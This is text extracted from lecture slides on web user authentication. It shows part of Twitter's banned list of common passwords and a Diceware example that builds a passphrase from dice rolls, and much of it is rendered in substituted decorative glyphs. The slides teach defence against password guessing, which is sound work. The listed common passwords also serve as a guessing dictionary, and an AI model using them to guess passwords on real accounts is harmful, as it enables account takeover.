✧❜r♦♥❝♦s✧✱ ✧❜✉❧❧❞♦❣✧✱ ✧❜✉st❡r✧✱ ✧❜✉tt❡r✧✱ ✧❜✉tt❤❡❛❞✧✱ ✧❝❛❧✈✐♥✧✱ ✧❝❛♠❛r♦✧✱ ✧❝❛♠❡r♦♥✧✱ ✧❝❛♥❛❞❛✧✱ ✧❝❛♣t❛✐♥✧✱ ✧❝❛r❧♦s✧✱ ✧❝❛rt❡r✧✱ ✧❝❛s♣❡r✧✱ ✧❝❤❛r❧❡s✧✱ ✧❝❤❛r❧✐❡✧✱ ✧❝❤❡❡s❡✧✱ ✧❝❤❡❧s❡❛✧✱ ✧❝❤❡st❡r✧✱ ✧❝❤✐❝❛❣♦✧✱ ✧❝❤✐❝❦❡♥✧✱ ✧❝♦❝❛❝♦❧❛✧✱ ✧❝♦❢❢❡❡✧✱ ✳✳✳ ✧t❡q✉✐❡r♦✧✱ ✧t❛②❧♦r✧✱ ✧t❡♥♥✐s✧✱ ✧t❡r❡s❛✧✱ ✧t❡st❡r✧✱ ✧t❡st✐♥❣✧✱ ✧t❤❡♠❛♥✧✱ ✧t❤♦♠❛s✧✱ ✧t❤✉♥❞❡r✧✱ ✧t❤①✶✶✸✽✧✱ ✧t✐❢❢❛♥②✧✱ ✧t✐❣❡rs✧✱ ✧t✐❣❣❡r✧✱ ✧t♦♠❝❛t✧✱ ✧t♦♣❣✉♥✧✱ ✧t♦②♦t❛✧✱ ✧tr❛✈✐s✧✱ ✧tr♦✉❜❧❡✧✱ ✧tr✉st♥♦✶✧✱ ✧t✉❝❦❡r✧✱ ✧t✉rt❧❡✧✱ ✧t✇✐tt❡r✧✱ ✧✉♥✐t❡❞✧✱ ✧✈❛❣✐♥❛✧✱ ✧✈✐❝t♦r✧✱ ✧✈✐❝t♦r✐❛✧✱ ✧✈✐❦✐♥❣✧✱ ✧✈♦♦❞♦♦✧✱ ✧✈♦②❛❣❡r✧✱ ✧✇❛❧t❡r✧✱ ✧✇❛rr✐♦r✧✱ ✧✇❡❧❝♦♠❡✧✱ ✧✇❤❛t❡✈❡r✧✱ ✧✇✐❧❧✐❛♠✧✱ ✧✇✐❧❧✐❡✧✱ ✧✇✐❧s♦♥✧✱ ✧✇✐♥♥❡r✧✱ ✧✇✐♥st♦♥✧✱ ✧✇✐♥t❡r✧✱ ✧✇✐③❛r❞✧✱ ✧①❛✈✐❡r✧✱ ✧①①①①①①✧✱ ✧①①①①①①①①✧✱ ✧②❛♠❛❤❛✧✱ ✧②❛♥❦❡❡✧✱ ✧②❛♥❦❡❡s✧✱ ✧②❡❧❧♦✇✧✱ ✧③①❝✈❜♥✧✱ ✧③①❝✈❜♥♠✧✱ ✧③③③③③③✧❪❀ Twitter banned password list Mitigates: Password guessing J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 33 / 41
Better password choices ❞✐❝❡✇❛r❡ ✶✻✻✻✺✶✺✻✺✸✶✺✻✺✸✺✻✸✷✷✸✺✻✶✻✻✺✷✷✹ ✶ ✻ ✻ ✻ ✺ ❝❧❡❢t ✶ ✺ ✻ ✺ ✸ ❝❛♠ ✺ ✻ ✸ ✷ ✷ s②♥♦❞ ✸ ✺ ✻ ✶ ✻ ❧❛❝② ✻ ✺ ✷ ✷ ✹ ②r ♣❛ss✇♦r❞ ❂ ❝❧❡❢t❝❛♠s②♥♦❞❧❛❝②②r Diceware Mitigates: Password guessing J. Bonneau (U. of Cambridge) User authentication on the web February 22, 2012 33 / 41
Recommend
More recommend
